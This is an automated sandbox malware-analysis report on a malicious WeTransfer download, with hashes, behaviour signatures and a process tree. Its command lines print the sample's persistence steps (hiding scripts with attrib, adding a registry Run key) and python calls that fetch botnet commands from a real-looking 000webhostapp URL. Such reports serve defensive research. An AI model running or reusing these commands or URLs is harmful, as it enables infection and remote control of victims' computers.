URL:

https://wetransfer.com/downloads/876b976cdfd2bcfa38d8d5317d9db7a820200526160921/7f559d

Full analysis: https://app.any.run/tasks/4ddf32ff-ea61-4683-b325-15e1415f4b6d
Verdict: Malicious activity
Threats:

A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools.

Malware Trends Tracker     >>>
Analysis date: May 30, 2020, 02:24:05
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
keylogger
autoit
evasion
Indicators:
MD5:

AC63D31D6C9955296592519C1EE4B876

SHA1:

C77400110BF149DE09337400B9550087D5FB1668

SHA256:

2D11FFD32E5C8137FC4D960C890BF2A7A5B542F7B35570E64C91B4792A6E9722

SSDEEP:

3:N8RCYKMXKdgDaODdBEdXlehJB:2EYNaaBBu0LB

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • cmd_shell.exe (PID: 2172)
      • cmd.exe (PID: 1228)
      • cmd.exe (PID: 3256)
      • explorer.exe (PID: 2788)
      • node.exe (PID: 2568)
      • cmd_shell.exe (PID: 2680)
      • node.exe (PID: 3656)
      • cmd.exe (PID: 2456)
      • cmd.exe (PID: 3008)
      • explorer.exe (PID: 2976)
      • cmd.exe (PID: 1896)
      • cmd_shell.exe (PID: 3812)
      • cmd.exe (PID: 2564)
      • cmd.exe (PID: 628)
      • explorer.exe (PID: 3852)
      • node.exe (PID: 2656)
      • node.exe (PID: 2872)
      • cmd.exe (PID: 2516)
      • explorer.exe (PID: 2624)
      • cmd.exe (PID: 308)
      • cmd.exe (PID: 2596)
      • cmd.exe (PID: 2736)
      • cmd.exe (PID: 2468)
      • cmd.exe (PID: 3188)
      • cmd.exe (PID: 2336)
      • cmd.exe (PID: 3388)
      • cmd.exe (PID: 3416)
      • zoom.exe (PID: 728)
      • Installer.exe (PID: 2204)
      • Installer.exe (PID: 1992)
      • Zoom.exe (PID: 324)
      • cmd.exe (PID: 4080)
      • cmd.exe (PID: 2732)
      • cmd.exe (PID: 1868)
      • node.exe (PID: 2900)
      • explorer.exe (PID: 3036)
      • cmd.exe (PID: 1552)
      • node.exe (PID: 2412)
      • cmd.exe (PID: 2376)
      • cmd.exe (PID: 3300)
      • node.exe (PID: 2156)
      • explorer.exe (PID: 2452)
      • cmd.exe (PID: 2592)
      • explorer.exe (PID: 3436)
      • zoom.exe (PID: 3240)
      • Installer.exe (PID: 2856)
      • Zoom.exe (PID: 2200)
      • cmd.exe (PID: 3456)
      • unzip.exe (PID: 1924)
      • cmd.exe (PID: 1108)
      • cmd.exe (PID: 2268)
      • node.exe (PID: 3188)
      • cmd_shell.exe (PID: 3936)
      • cmd.exe (PID: 3596)
      • explorer.exe (PID: 3796)
      • Zoom.exe (PID: 3108)
      • Zoom.exe (PID: 564)
      • cmd.exe (PID: 2860)
      • node.exe (PID: 3860)
      • explorer.exe (PID: 2388)
      • cmd.exe (PID: 2508)
      • cmd.exe (PID: 1356)
      • cmd.exe (PID: 3064)
      • cmd.exe (PID: 588)
      • node.exe (PID: 2896)
      • explorer.exe (PID: 3332)
      • explorer.exe (PID: 2260)
      • node.exe (PID: 2284)
      • cmd.exe (PID: 884)
      • python.exe (PID: 3320)
      • python.exe (PID: 3728)
      • cmd.exe (PID: 1336)
      • python.exe (PID: 908)
      • cmd.exe (PID: 2616)
      • python.exe (PID: 2488)
      • cmd.exe (PID: 3356)
      • cmd.exe (PID: 3776)
      • cmd.exe (PID: 3964)
      • Zoom.exe (PID: 2880)
      • python.exe (PID: 2080)
      • cmd.exe (PID: 3376)
      • python.exe (PID: 1400)
      • Zoom.exe (PID: 292)
      • python.exe (PID: 2520)
      • cmd.exe (PID: 1256)
      • node.exe (PID: 2748)
      • cmd.exe (PID: 4032)
      • python.exe (PID: 3580)
      • cmd.exe (PID: 3384)
      • cmd.exe (PID: 2676)
      • node.exe (PID: 2164)
      • cmd.exe (PID: 1708)
      • explorer.exe (PID: 3184)
      • cmd.exe (PID: 2668)
      • Zoom.exe (PID: 3000)
      • python.exe (PID: 2288)
      • python.exe (PID: 3964)
      • explorer.exe (PID: 1340)
      • python.exe (PID: 3164)
      • cmd.exe (PID: 4068)
      • cmd.exe (PID: 3960)
      • node.exe (PID: 3532)
      • cmd.exe (PID: 3328)
      • python.exe (PID: 3816)
      • cmd.exe (PID: 2604)
      • cmd.exe (PID: 2764)
      • node.exe (PID: 3864)
      • explorer.exe (PID: 1144)
      • cmd.exe (PID: 664)
      • explorer.exe (PID: 2812)
      • cmd.exe (PID: 2648)
      • python.exe (PID: 3248)
      • python.exe (PID: 2316)
      • cmd.exe (PID: 2500)
      • python.exe (PID: 488)
      • python.exe (PID: 3272)
      • python.exe (PID: 2864)
      • cmd.exe (PID: 4016)
      • python.exe (PID: 636)
      • python.exe (PID: 2264)
      • cmd.exe (PID: 1020)
      • Zoom.exe (PID: 3040)
      • python.exe (PID: 2396)
      • cmd.exe (PID: 2884)
      • python.exe (PID: 2240)
      • python.exe (PID: 3536)
      • cmd.exe (PID: 884)
      • python.exe (PID: 1408)
      • python.exe (PID: 3536)
      • cmd.exe (PID: 2212)
      • Installer.exe (PID: 3952)
      • cmd.exe (PID: 2356)

    • Changes the autorun value in the registry

      • reg.exe (PID: 2520)
      • reg.exe (PID: 2844)
      • reg.exe (PID: 2864)
      • reg.exe (PID: 2844)
      • reg.exe (PID: 2372)
      • reg.exe (PID: 2752)
      • reg.exe (PID: 2076)
      • reg.exe (PID: 3488)
      • reg.exe (PID: 2604)
      • reg.exe (PID: 2184)
      • reg.exe (PID: 3712)
      • reg.exe (PID: 2424)
      • reg.exe (PID: 1916)
      • reg.exe (PID: 2628)
      • reg.exe (PID: 852)
      • reg.exe (PID: 1836)

    • Runs PING.EXE for delay simulation

      • cmd.exe (PID: 308)
      • cmd.exe (PID: 2468)
      • cmd.exe (PID: 3456)

    • Actions looks like stealing of personal data

      • Installer.exe (PID: 1992)
      • Installer.exe (PID: 2856)
      • unzip.exe (PID: 1924)
      • Installer.exe (PID: 3952)

    • Loads dropped or rewritten executable

      • Installer.exe (PID: 1992)
      • Zoom.exe (PID: 324)
      • Installer.exe (PID: 2856)
      • Zoom.exe (PID: 2200)
      • Zoom.exe (PID: 3108)
      • Zoom.exe (PID: 564)
      • python.exe (PID: 908)
      • python.exe (PID: 3320)
      • python.exe (PID: 3728)
      • python.exe (PID: 2488)
      • Zoom.exe (PID: 292)
      • Zoom.exe (PID: 2880)
      • python.exe (PID: 1400)
      • python.exe (PID: 2080)
      • python.exe (PID: 2520)
      • python.exe (PID: 3580)
      • python.exe (PID: 3164)
      • Zoom.exe (PID: 3000)
      • python.exe (PID: 2288)
      • python.exe (PID: 3964)
      • python.exe (PID: 3816)
      • python.exe (PID: 3248)
      • python.exe (PID: 2316)
      • python.exe (PID: 488)
      • python.exe (PID: 3272)
      • python.exe (PID: 2864)
      • python.exe (PID: 636)
      • python.exe (PID: 2264)
      • Installer.exe (PID: 3952)
      • Zoom.exe (PID: 3040)
      • python.exe (PID: 2396)
      • python.exe (PID: 2240)
      • python.exe (PID: 3536)
      • python.exe (PID: 3536)

    • Changes settings of System certificates

      • cscript.exe (PID: 3316)
      • cscript.exe (PID: 2428)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 1548)
      • cmd_shell.exe (PID: 2172)
      • WinRAR.exe (PID: 936)
      • cmd.exe (PID: 2456)
      • cmd.exe (PID: 1228)
      • zoom.exe (PID: 728)
      • Installer.exe (PID: 1992)
      • cscript.exe (PID: 3316)
      • cmd.exe (PID: 4080)
      • zoom.exe (PID: 3240)
      • cmd.exe (PID: 2268)
      • unzip.exe (PID: 1924)
      • Installer.exe (PID: 2856)
      • cmd.exe (PID: 1256)
      • Zoom.exe (PID: 2200)
      • Installer.exe (PID: 3952)

    • Modifies files in Chrome extension folder

      • chrome.exe (PID: 1196)

    • Application launched itself

      • WinRAR.exe (PID: 1548)
      • cmd.exe (PID: 308)
      • Installer.exe (PID: 1992)
      • cmd.exe (PID: 2468)
      • cmd.exe (PID: 3456)
      • Zoom.exe (PID: 2200)

    • Executes scripts

      • cmd_shell.exe (PID: 2172)
      • cmd_shell.exe (PID: 2680)
      • cmd_shell.exe (PID: 3812)
      • cmd.exe (PID: 308)
      • cmd.exe (PID: 2468)
      • cmd_shell.exe (PID: 3936)

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 2908)
      • node.exe (PID: 2568)
      • WScript.exe (PID: 2168)
      • node.exe (PID: 3656)
      • WScript.exe (PID: 3664)
      • node.exe (PID: 2656)
      • node.exe (PID: 2872)
      • WinRAR.exe (PID: 936)
      • cmd.exe (PID: 308)
      • WScript.exe (PID: 2184)
      • cmd.exe (PID: 2468)
      • node.exe (PID: 2900)
      • node.exe (PID: 2156)
      • node.exe (PID: 2412)
      • cmd.exe (PID: 3456)
      • WScript.exe (PID: 3112)
      • node.exe (PID: 3188)
      • node.exe (PID: 3860)
      • node.exe (PID: 2284)
      • cmd.exe (PID: 884)
      • node.exe (PID: 2896)
      • node.exe (PID: 2164)
      • node.exe (PID: 2748)
      • node.exe (PID: 3532)
      • node.exe (PID: 3864)

    • Writes files like Keylogger logs

      • WinRAR.exe (PID: 936)
      • cmd.exe (PID: 308)

    • Uses ATTRIB.EXE to modify file attributes

      • cmd.exe (PID: 2456)
      • cmd.exe (PID: 1228)
      • cmd.exe (PID: 1896)
      • cmd.exe (PID: 628)
      • cmd.exe (PID: 308)
      • cmd.exe (PID: 4080)
      • cmd.exe (PID: 1552)
      • cmd.exe (PID: 2376)
      • cmd.exe (PID: 2268)
      • cmd.exe (PID: 1356)
      • cmd.exe (PID: 2508)
      • cmd.exe (PID: 3064)
      • cmd.exe (PID: 1256)
      • cmd.exe (PID: 3384)
      • cmd.exe (PID: 3960)
      • cmd.exe (PID: 3328)

    • Uses REG.EXE to modify Windows registry

      • cmd.exe (PID: 2456)
      • cmd.exe (PID: 1228)
      • cmd.exe (PID: 1896)
      • cmd.exe (PID: 628)
      • cmd.exe (PID: 4080)
      • cmd.exe (PID: 308)
      • cmd.exe (PID: 2376)
      • cmd.exe (PID: 1552)
      • cmd.exe (PID: 2268)
      • cmd.exe (PID: 1356)
      • cmd.exe (PID: 3064)
      • cmd.exe (PID: 2508)
      • cmd.exe (PID: 1256)
      • cmd.exe (PID: 3384)
      • cmd.exe (PID: 3960)
      • cmd.exe (PID: 3328)

    • Creates executable files which already exist in Windows

      • cmd.exe (PID: 1228)

    • Uses TASKLIST.EXE to query information about running processes

      • cmd.exe (PID: 2736)
      • cmd.exe (PID: 2596)
      • cmd.exe (PID: 3188)
      • cmd.exe (PID: 2336)
      • cmd.exe (PID: 1108)

    • Changes IE settings (feature browser emulation)

      • Installer.exe (PID: 1992)
      • Installer.exe (PID: 2856)
      • Installer.exe (PID: 3952)

    • Modifies the open verb of a shell class

      • Installer.exe (PID: 1992)
      • Installer.exe (PID: 2856)
      • Installer.exe (PID: 3952)

    • Creates files in the user directory

      • Installer.exe (PID: 1992)
      • Zoom.exe (PID: 324)
      • Zoom.exe (PID: 2200)
      • Installer.exe (PID: 2856)
      • Zoom.exe (PID: 564)
      • Zoom.exe (PID: 3108)
      • Zoom.exe (PID: 292)
      • Zoom.exe (PID: 2880)
      • Zoom.exe (PID: 3000)
      • Installer.exe (PID: 3952)
      • Zoom.exe (PID: 3040)

    • Creates a software uninstall entry

      • Installer.exe (PID: 2856)
      • Installer.exe (PID: 1992)
      • Installer.exe (PID: 3952)

    • Drop AutoIt3 executable file

      • unzip.exe (PID: 1924)

    • Uses WMIC.EXE to obtain a system information

      • cmd.exe (PID: 2468)

    • Uses WMIC.EXE to obtain a list of AntiViruses

      • cmd.exe (PID: 2468)

    • Checks for external IP

      • python.exe (PID: 3728)
      • python.exe (PID: 2488)
      • python.exe (PID: 2520)
      • python.exe (PID: 2288)
      • python.exe (PID: 3248)
      • python.exe (PID: 3272)
      • python.exe (PID: 2264)
      • python.exe (PID: 3536)

    • Loads Python modules

      • python.exe (PID: 2488)
      • python.exe (PID: 3728)
      • python.exe (PID: 908)
      • python.exe (PID: 3320)
      • python.exe (PID: 1400)
      • python.exe (PID: 2520)
      • python.exe (PID: 2080)
      • python.exe (PID: 3580)
      • python.exe (PID: 3164)
      • python.exe (PID: 2288)
      • python.exe (PID: 3964)
      • python.exe (PID: 3816)
      • python.exe (PID: 3248)
      • python.exe (PID: 2316)
      • python.exe (PID: 3272)
      • python.exe (PID: 2864)
      • python.exe (PID: 488)
      • python.exe (PID: 636)
      • python.exe (PID: 2264)
      • python.exe (PID: 2396)
      • python.exe (PID: 2240)
      • python.exe (PID: 3536)
      • python.exe (PID: 3536)

    • Adds / modifies Windows certificates

      • cscript.exe (PID: 2428)
      • cscript.exe (PID: 3316)

  • INFO

    • Reads the hosts file

      • chrome.exe (PID: 1196)
      • chrome.exe (PID: 2436)

    • Application launched itself

      • chrome.exe (PID: 1196)

    • Reads Internet Cache Settings

      • chrome.exe (PID: 1196)

    • Reads settings of System Certificates

      • chrome.exe (PID: 2436)
      • Installer.exe (PID: 1992)
      • cscript.exe (PID: 2428)
      • Installer.exe (PID: 3952)

    • Dropped object may contain Bitcoin addresses

      • Installer.exe (PID: 1992)
      • Installer.exe (PID: 2856)
      • unzip.exe (PID: 1924)
      • Installer.exe (PID: 3952)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
299
Monitored processes
237
Malicious processes
61
Suspicious processes
48

Behavior graph

Click at the process to see the details
start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start drop and start chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs chrome.exe no specs winrar.exe winrar.exe chrome.exe no specs cmd_shell.exe wscript.exe no specs cmd.exe attrib.exe no specs attrib.exe no specs reg.exe node.exe cmd.exe no specs explorer.exe no specs chrome.exe no specs cmd_shell.exe no specs wscript.exe no specs cmd.exe attrib.exe no specs attrib.exe no specs reg.exe node.exe cmd.exe no specs explorer.exe no specs cmd_shell.exe no specs wscript.exe no specs cmd.exe no specs attrib.exe no specs attrib.exe no specs reg.exe node.exe cmd.exe no specs cmd.exe no specs explorer.exe no specs attrib.exe no specs attrib.exe no specs reg.exe node.exe cmd.exe no specs explorer.exe no specs cmd.exe no specs ping.exe no specs cmd.exe no specs tasklist.exe no specs cmd.exe no specs tasklist.exe no specs attrib.exe no specs reg.exe cmd.exe no specs hostname.exe no specs wscript.exe no specs cmd.exe no specs ping.exe no specs cmd.exe no specs tasklist.exe no specs cmd.exe no specs tasklist.exe no specs cmd.exe no specs hostname.exe no specs cmd.exe no specs ping.exe no specs ping.exe no specs zoom.exe installer.exe cscript.exe installer.exe zoom.exe no specs cmd.exe attrib.exe no specs attrib.exe no specs reg.exe node.exe cscript.exe cmd.exe no specs explorer.exe no specs cmd.exe no specs attrib.exe no specs attrib.exe no specs reg.exe cmd.exe no specs node.exe attrib.exe no specs attrib.exe no specs reg.exe node.exe cmd.exe no specs explorer.exe no specs cmd.exe no specs explorer.exe no specs zoom.exe installer.exe zoom.exe unzip.exe cmd.exe no specs ping.exe no specs cmd.exe no specs tasklist.exe no specs cmd_shell.exe no specs wscript.exe no specs cmd.exe attrib.exe no specs attrib.exe no specs reg.exe node.exe cmd.exe no specs explorer.exe no specs zoom.exe no specs zoom.exe cmd.exe no specs attrib.exe no specs attrib.exe no specs reg.exe node.exe cmd.exe no specs explorer.exe no specs cmd.exe no specs attrib.exe no specs attrib.exe no specs reg.exe cmd.exe no specs node.exe attrib.exe no specs attrib.exe no specs reg.exe cmd.exe no specs node.exe explorer.exe no specs cmd.exe no specs explorer.exe no specs wmic.exe no specs cmd.exe no specs cmd.exe no specs find.exe no specs cmd.exe no specs python.exe ping.exe no specs python.exe cmd.exe no specs python.exe cmd.exe no specs python.exe ping.exe no specs python.exe zoom.exe no specs zoom.exe cmd.exe no specs python.exe cmd.exe no specs python.exe ping.exe no specs cmd.exe attrib.exe no specs attrib.exe no specs reg.exe node.exe cmd.exe no specs explorer.exe no specs python.exe cmd.exe no specs attrib.exe no specs attrib.exe no specs reg.exe node.exe cmd.exe no specs explorer.exe no specs cmd.exe no specs python.exe zoom.exe no specs cmd.exe no specs python.exe ping.exe no specs python.exe cmd.exe no specs attrib.exe no specs attrib.exe no specs reg.exe cmd.exe no specs node.exe cmd.exe no specs attrib.exe no specs python.exe attrib.exe no specs reg.exe cmd.exe no specs node.exe explorer.exe no specs cmd.exe no specs explorer.exe no specs cmd.exe no specs python.exe ping.exe no specs python.exe cmd.exe no specs python.exe installer.exe cmd.exe no specs python.exe ping.exe no specs python.exe cmd.exe no specs python.exe cmd.exe no specs python.exe ping.exe no specs zoom.exe no specs python.exe cmd.exe no specs python.exe cmd.exe no specs python.exe ping.exe no specs python.exe cmd.exe no specs python.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
116ping localhost -n 5 C:\Windows\system32\PING.EXE—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ping.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\nsi.dll
292Zoom.exe --action=uploadFeedbackC:\Users\admin\AppData\Roaming\Zoom\bin\Zoom.exe—Zoom.exe
User:
admin
Company:
Zoom Video Communications, Inc.
Integrity Level:
MEDIUM
Description:
Zoom
Exit code:
0
Version:
4,6,18176,0301
Modules
Images
c:\users\admin\appdata\roaming\zoom\bin\zoom.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\users\admin\appdata\roaming\zoom\bin\zcrashreport.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
308cmd /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa936.40165\pyclient.cmd" "C:\Windows\system32\cmd.exe—WinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
324"C:\Users\admin\AppData\Roaming\Zoom\bin\Zoom.exe" C:\Users\admin\AppData\Roaming\Zoom\bin\Zoom.exeC:\Users\admin\AppData\Roaming\Zoom\bin\Zoom.exe—Installer.exe
User:
admin
Company:
Zoom Video Communications, Inc.
Integrity Level:
MEDIUM
Description:
Zoom
Exit code:
0
Version:
4,6,18176,0301
Modules
Images
c:\users\admin\appdata\roaming\zoom\bin\zoom.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\users\admin\appdata\roaming\zoom\bin\zcrashreport.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
488C:\botnet\Programs\python27\python.exe C:\botnet\Programs\python27\url_exist.py https://hosting303.000webhostapp.com/devil_shadow/command/command.txtC:\botnet\Programs\python27\python.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\botnet\programs\python27\python.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\botnet\programs\python27\python27.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
564C:\Users\admin\AppData\Roaming\Zoom\bin\Zoom.exe --action=preload --runaszvideo=TRUE C:\Users\admin\AppData\Roaming\Zoom\bin\Zoom.exe
Zoom.exe
User:
admin
Company:
Zoom Video Communications, Inc.
Integrity Level:
MEDIUM
Description:
Zoom
Exit code:
0
Version:
4,6,18176,0301
Modules
Images
c:\users\admin\appdata\roaming\zoom\bin\zoom.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\users\admin\appdata\roaming\zoom\bin\zcrashreport.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
588C:\Windows\system32\cmd.exe /s /c "%systemdrive%\Users\Public\explorer.exe"C:\Windows\system32\cmd.exe—node.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
624"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --field-trial-handle=1020,578327721972979185,12355453846456473591,131072 --enable-features=PasswordImport --lang=en-US --service-sandbox-type=utility --service-request-channel-token=15948175437629505592 --mojo-platform-channel-handle=3008 --ignored=" --type=renderer " /prefetch:8C:\Program Files\Google\Chrome\Application\chrome.exe—chrome.exe
User:
admin
Company:
Google LLC
Integrity Level:
LOW
Description:
Google Chrome
Exit code:
0
Version:
75.0.3770.100
Modules
Images
c:\program files\google\chrome\application\chrome.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\google\chrome\application\75.0.3770.100\chrome_elf.dll
c:\windows\system32\version.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\gdi32.dll
628"C:\Windows\System32\cmd.exe" /c cd C:\Users\admin & attrib +s +h +a *.vbs & attrib +s +h +a *.bat & reg add Hkey_CURRENT_USER\software\microsoft\windows\currentversion\run /v bootstartup /t reg_sz /d C:\Users\admin\boot-startup.vbs /f & shell.batC:\Windows\System32\cmd.exe—WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
1
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
636C:\botnet\Programs\python27\python.exe C:\botnet\Programs\python27\url_exist.py https://hosting303.000webhostapp.com/devil_shadow/command/command.txtC:\botnet\Programs\python27\python.exe
cmd.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\botnet\programs\python27\python.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\botnet\programs\python27\python27.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
Total events
14 066
Read events
6 634
Write events
5 046
Delete events
2 386

Modification events

(PID) Process:(1196) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon
Operation:writeName:failed_count
Value:
0
(PID) Process:(1196) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
2
(PID) Process:(1196) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\ThirdParty
Operation:writeName:StatusCodes
Value:
(PID) Process:(1196) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\ThirdParty
Operation:writeName:StatusCodes
Value:
01000000
(PID) Process:(1196) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BLBeacon
Operation:writeName:state
Value:
1
(PID) Process:(2272) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BrowserExitCodes
Operation:writeName:1196-13235279059654250
Value:
259
(PID) Process:(1196) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Update\ClientState\{8A69D345-D564-463c-AFF1-A69D9E530F96}
Operation:writeName:dr
Value:
1
(PID) Process:(1196) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome
Operation:writeName:UsageStatsInSample
Value:
0
(PID) Process:(1196) chrome.exeKey:HKEY_CURRENT_USER\Software\Google\Chrome\BrowserExitCodes
Operation:delete valueName:3120-13213713943555664
Value:
0
(PID) Process:(1196) chrome.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Google\Update\ClientStateMedium\{8A69D345-D564-463C-AFF1-A69D9E530F96}
Operation:writeName:usagestats
Value:
0
Executable files
333
Suspicious files
154
Text files
2 143
Unknown types
1 187

Dropped files

PID
Process
Filename
Type
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-5ED1C3D4-4AC.pma —
MD5:—
SHA256:—
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\abca5d17-892e-40b8-84af-66dec475fe07.tmp —
MD5:—
SHA256:—
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000028.dbtmp —
MD5:—
SHA256:—
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old~RF1298ae.TMPtext
MD5:—
SHA256:—
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.oldtext
MD5:—
SHA256:—
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.old~RF1298ec.TMPtext
MD5:—
SHA256:—
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\Last Tabsbinary
MD5:—
SHA256:—
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.oldtext
MD5:—
SHA256:—
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old —
MD5:—
SHA256:—
1196chrome.exeC:\Users\admin\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old~RF129aa2.TMP —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
17
TCP/UDP connections
112
DNS requests
51
Threats
40

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2436
chrome.exe
GET
200
173.194.5.203:80
